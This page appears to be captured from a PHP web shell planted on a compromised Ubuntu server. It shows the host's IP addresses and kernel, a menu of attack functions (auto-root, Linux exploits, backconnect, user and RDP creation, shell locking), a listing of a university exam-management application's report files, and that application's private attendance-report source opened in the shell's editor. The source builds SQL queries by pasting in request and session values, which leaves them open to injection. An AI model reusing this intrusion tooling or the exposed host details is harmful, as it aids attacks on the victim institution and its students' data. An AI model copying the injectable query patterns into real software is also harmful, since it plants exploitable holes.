Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.58.61.176
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_attendance_summary.php
<?php function GenerateAttendanceSummaryReport($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $univcode = $_SESSION['FUNIVCODE']; if($univcode=='020'){ if($_SESSION['usrtype'] == '17'){ echo "please contact admin"; return; } } $degree_code = $aobj_context->mobj_data["degree_code"]; $from_month_name = $aobj_context->mobj_data["from_month_name"]; $to_month_name = $aobj_context->mobj_data["to_month_name"]; $exam_code = $aobj_context->mobj_data["exam_code"]; $sublist_start = substr("0000".$aobj_context->mobj_data["subwise_start"],-5); $sublist_end = substr("0000".$aobj_context->mobj_data["subwise_end"],-5); $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_general_list.pdf"; $getnumword=$aobj_context->main_src."/src/getnumword.php"; include($getnumword); $month_arr=array(); $month_arr["JAN"]=array("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"); $month_arr["FEB"]=array("FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC","JAN"); $month_arr["MAR"]=array("MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC","JAN","FEB"); $month_arr["APR"]=array("APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC","JAN","FEB","MAR"); $month_arr["MAY"]=array("MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC","JAN","FEB","MAR","APR"); $month_arr["JUN"]=array("JUN","JUL","AUG","SEP","OCT","NOV","DEC","JAN","FEB","MAR","APR","MAY"); $month_arr["JUL"]=array("JUL","AUG","SEP","OCT","NOV","DEC","JAN","FEB","MAR","APR","MAY","JUN"); $month_arr["AUG"]=array("AUG","SEP","OCT","NOV","DEC","JAN","FEB","MAR","APR","MAY","JUN","JUL"); $month_arr["SEP"]=array("SEP","OCT","NOV","DEC","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG"); $month_arr["OCT"]=array("OCT","NOV","DEC","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP"); $month_arr["NOV"]=array("NOV","DEC","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT"); $month_arr["DEC"]=array("DEC","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV"); $month_arr["OVERALL_SEM"]=array("OVERALL_SEM","OVERALL_SEM","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"); // $month_arr["FOVERALL_SEMA"]=array("FOVERALL_SEMA","FOVERALL_SEMC","JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"); $arr_last_cnt=array_search($to_month_name,$month_arr[$from_month_name])+1; $loop_arr_arr=array_chunk($month_arr[$from_month_name],$arr_last_cnt); $loop_arr=$loop_arr_arr[0]; // global varibales $p_count =1; // end global varibales //echo getnumber_to_word("001"); die(); include($pdf_writer_class); $pdf= new FPDF(); $pdf->SetFont('Times','',10); $pdf->SetMargins(15,8); $pdf->AliasNbPages(); // query for the page header $page_header_university = "select FUNIVNAME,FTOWN,FUNIVADD1, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat(FCOLLCODE,' - ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat(FDEGREE,' - ', FDESCPN) as degree_name, concat(FEXAMNO,' - ',FEXAMNAME) as exam_name, concat('( Attendance Summary Report ',FEXAMDATE,')') as Exam ,FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_code}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_header_REGROLL = "select FREGROLL from control"; $lobj_page_header_REGROLL = $aobj_context->mobj_db->GetRow($page_header_REGROLL); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'Attendance Summary Report'; $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME']; $pdf->FTOWN = $lobj_page_header_university['FTOWN']; $pdf->FUNIVADD1 = $lobj_page_header_university['FUNIVADD1']; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = $lobj_page_header_college['college_name']; $pdf->degree_name = $lobj_page_header_degree['degree_name']; $pdf->exam_name = $lobj_page_header_degree['exam_name']; $canddettmp = "canddet"; $candsumttmp = "candsum"; $degreetmp = "degree"; $subjecttmp = "subject"; if($univcode == 'P005' || $univcode == 'P023' || $univcode == '096' || $univcode == '097') { $get_subject_data = "SELECT m.FREGNO, SUBSTRING(stu.FNAME,1,36) AS Name1 , CONCAT(s.FSUBCODE,' - ',s.FSUBNAME,',[',FSSUBNAME,']') AS sub_name, sum(fnoclass) as FOVERALL_SEMC, sum(if(fpresent = 'P',fnoclass,0)) as FOVERALL_SEMA from attend_det m inner join student stu on m.fdegree = stu.fdegree and m.FREGNO=stu.FREGNO inner join subject s on m.FSUBCODE=s.FCSUBCODE where lpad(s.FCSUBCODE,5,'0')>='00000' and lpad(s.FCSUBCODE,5,'0')<='ZZZZZ' and m.FDEGREE='{$degree_code}' and m.FEXAMNO='{$exam_code}' and m.FCOLLCODE='{$college_code}' and s.FEXAMNO=m.FEXAMNO and m.FDEGREE=s.FDEGREE group by FCSUBCODE,m.FREGNO order by FCSUBCODE,m.FREGNO"; }else { $get_subject_data = " SELECT m.FREGNO, SUBSTRING(stu.FNAME,1,36) AS Name1, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FJANC,'0'),concat(IFNULL(FJANC,'0'),'*')) as FJANC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FFEBC,'0'),concat(IFNULL(FFEBC,'0'),'*')) as FFEBC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FMARC,'0'),concat(IFNULL(FMARC,'0'),'*')) as FMARC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FAPRC,'0'),concat(IFNULL(FAPRC,'0'),'*')) as FAPRC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FMAYC,'0'),concat(IFNULL(FMAYC,'0'),'*')) as FMAYC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FJUNC,'0'),concat(IFNULL(FJUNC,'0'),'*')) as FJUNC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FJULC,'0'),concat(IFNULL(FJULC,'0'),'*')) as FJULC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FAUGC,'0'),concat(IFNULL(FAUGC,'0'),'*')) as FAUGC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FSEPC,'0'),concat(IFNULL(FSEPC,'0'),'*')) as FSEPC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FOCTC,'0'),concat(IFNULL(FOCTC,'0'),'*')) as FOCTC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FNOVC,'0'),concat(IFNULL(FNOVC,'0'),'*')) as FNOVC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FDECC,'0'),concat(IFNULL(FDECC,'0'),'*')) as FDECC, if(ifnull(ct.FFREEZED,'') = 'T',IFNULL(FOVERALL_SEMC,'0'),concat(IFNULL(FOVERALL_SEMC,'0'),'*')) as FOVERALL_SEMC, IFNULL(FJANA,'0') as FJANA, IFNULL(FFEBA,'0') as FFEBA , IFNULL(FMARA,'0') as FMARA, IFNULL(FAPRA,'0') as FAPRA, IFNULL(FMAYA,'0') as FMAYA, IFNULL(FJUNA,'0') as FJUNA, IFNULL(FJULA,'0') as FJULA, IFNULL(FAUGA,'0') as FAUGA, IFNULL(FSEPA,'0') as FSEPA, IFNULL(FOCTA,'0') as FOCTA, IFNULL(FNOVA,'0') as FNOVA, IFNULL(FDECA,'0') as FDECA, IFNULL(FOVERALL_SEMA,'0') as FOVERALL_SEMA, CONCAT(s.FSUBCODE,' - ',s.FSUBNAME,',[',FSSUBNAME,']') AS sub_name from attend m left join collatt ct on m.fdegree = ct.fdegree and ct.fcollcode = m.fcollcode and m.fsubcode = ct.fsubcode inner join student stu on m.fdegree = stu.fdegree and m.FREGNO=stu.FREGNO inner join {$subjecttmp} s on m.FSUBCODE=s.FCSUBCODE where lpad(s.FCSUBCODE,5,'0')>='{$sublist_start}' and lpad(s.FCSUBCODE,5,'0')<='{$sublist_end}' and m.FDEGREE='{$degree_code}' and m.FEXAMNO='{$exam_code}' and m.FCOLLCODE='{$college_code}' and s.FEXAMNO=m.FEXAMNO and m.FDEGREE=s.FDEGREE group by FCSUBCODE,m.FREGNO order by FCSUBCODE,m.FREGNO"; } $lobj_get_subject_data = $aobj_context->mobj_db->GetAll($get_subject_data); $pdf->subject_name= $lobj_get_subject_data[0]['sub_name']; if($univcode=='045'){ $pdf->AddPage("P"); } elseif($univcode=='051'){ $pdf->AddPage("P"); } else{ $pdf->AddPage("L"); } // $pdf->AddPage("L"); $pdf->SetFont('Times','',9); $prev_sub_name= $lobj_get_subject_data[0]['sub_name']; writeHeaders($pdf,$loop_arr); writeFooter($pdf); $adm_ln_counter=0; $slno = 1; $z=0; foreach($lobj_get_subject_data as $key => $value) { $FREGNO = $value['FREGNO']; $Name1 = $value['Name1']; $sub_name = $value['sub_name']; // var_dump($sub_name); if($prev_sub_name!=$sub_name) { $pdf->subject_name= $sub_name; if($univcode=='045'){ $pdf->AddPage("P"); } elseif($univcode=='051'){ $pdf->AddPage("P"); } else{ $pdf->AddPage("L"); } // $pdf->AddPage("L"); $slno = 1; $prev_sub_name=$sub_name; writeHeaders($pdf,$loop_arr); writeFooter($pdf); $z=0; } if($univcode=='045'){ $c=33; } elseif($univcode=='051'){ $c=30; } else{ $c=18; } if($z===$c){ // $pdf->AddPage("L"); if($univcode=='045'){ $pdf->AddPage("P"); } elseif($univcode=='051'){ $pdf->AddPage("P"); } else{ $pdf->AddPage("L"); } writeHeaders($pdf,$loop_arr); writeFooter($pdf); $z=0; } $get_x1=$pdf->GetX(); $get_y1=$pdf->GetY(); $pdf->SetXY($get_x1+35+10,$get_y1); $pdf->MultiCell(75,6, $Name1,'1','L'); $get_y2=$pdf->GetY(); $height=$get_y2-$get_y1; $pdf->SetXY($get_x1,$get_y1); $pdf->Cell(10,$height, $slno,'1',0,'C'); $get_x1=$pdf->GetX(); $pdf->SetXY($get_x1,$get_y1); $pdf->Cell(35,$height, $FREGNO,'1',0,'C'); $pdf->SetXY($get_x1+75+35,$get_y1); $total_cond=0; $total_att=0; foreach($loop_arr as $lk) { $cond="F{$lk}C"; $att="F{$lk}A"; $cond_v=$value[$cond]; $att_v=$value[$att]; $total_cond+=$cond_v; $total_att+=$att_v; $cell_val="{$att_v}/{$cond_v}"; if($cell_val=="/") $cell_val="-"; $pdf->Cell(25,$height,"{$cell_val}",'1',0,'C'); } $perc=round($total_att/$total_cond*100,0); $pdf->Cell(20,$height,"{$total_att}/{$total_cond}",'1',0,'C'); $pdf->Cell(20,$height,"{$perc}%",'1',1,'C'); $get_y1=$pdf->GetY(); ++$slno; $z++; if($get_y1>=250) { $pdf->Ln(2); $pdf->Cell(0,4,"Note : * Indicates Freezing Pending, A : No. of Class Attended, C :No. of Class Conducted ",'0',1,'L'); $pdf->Cell(0,4," ",'0',1,'L'); $pdf->AddPage(); writeHeaders($pdf,$loop_arr); writeFooter($pdf); } $adm_ln_counter++; } $pdf->Output("attendance_summary_report.pdf","I"); } function writeHeaders($pdf,$loop_arr) { $univcode = $_SESSION['FUNIVCODE']; $pdf->Cell(10,5,"Sl.",'LRT',0,'C'); if($univcode == '051') $pdf->Cell(35,5,"USN",'LRT',0,'C'); elseif($univcode == '052') $pdf->Cell(35,5,"USN",'LRT',0,'C'); else $pdf->Cell(35,5,"Reg. No.",'LRT',0,'C'); $pdf->Cell(75,5,"Student Name",'LRT',0,'C'); foreach($loop_arr as $lk) { $pdf->Cell(25,5,$lk,'LRT',0,'C'); } $pdf->Cell(20,5,"Total",'LRT',0,'C'); $pdf->Cell(20,5,"Percentage",'LRT',1,'C'); $pdf->Cell(10,5,"No.",'LRB',0,'C'); $pdf->Cell(35,5,"",'LRB',0,'C'); $pdf->Cell(75,5,"",'LRB',0,'C'); foreach($loop_arr as $lk) { $pdf->Cell(25,5,"A / C",'LRB',0,'C'); } $pdf->Cell(20,5,"",'LRB',0,'C'); $pdf->Cell(20,5,"",'LRB',1,'C'); } function writeFooter($pdf) { $get_x1=$pdf->GetX(); $get_y1=$pdf->GetY(); $pdf->SetY(-30); //$pdf->Cell(0,4,"Note : Attended / Conducted",'0',1,'L'); $new_y=$pdf->GetY(); // $pdf->Line(10,$new_y, 200,$new_y); // $pdf->Line(10,$new_y+.5, 200,$new_y+.5); $pdf->Ln(); if($_SESSION['FUNIVCODE']!='045'){ $pdf->Cell(0,6,"Principal's Signature",'0',0,'R'); } // $pdf->Cell(0,6,"Principal's Signature",'0',0,'R'); $pdf->SetXY($get_x1,$get_y1); } ?>
Close